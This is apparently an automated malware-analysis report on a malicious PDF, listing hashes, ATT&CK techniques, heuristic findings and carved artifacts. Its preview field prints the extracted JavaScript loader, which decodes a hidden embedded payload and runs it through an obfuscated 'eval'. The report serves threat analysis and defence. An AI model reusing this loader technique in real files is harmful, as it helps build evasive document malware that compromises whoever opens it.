PDF malware analysis — malicious · 6b2931fdee974e58

MALICIOUS

PDF

5.9 KB First seen: 2026-05-09

MD5: ec291b4125eaf690f343a912c61950cd SHA-1: c5e9cd100b51bb73357239b8478890a65551e105 SHA-256: 6b2931fdee974e58f80cc197bb1b2c017589569852fa3e2c3083a1e674e929ff

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The PDF contains embedded JavaScript that decodes a string from an embedded file named 'xampp'. This decoded string is then executed as a function. The JavaScript also attempts to parse XML data, suggesting a complex execution flow. The ML classifier strongly indicates maliciousness, and the malformed stream length heuristic points to an exploit attempt.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x428	149004 bytes
SHA-256: `68f7708e7bcadf6da9ff502c9f901e86c1a946349bf38b29f9d40a841d690427`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1CC	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

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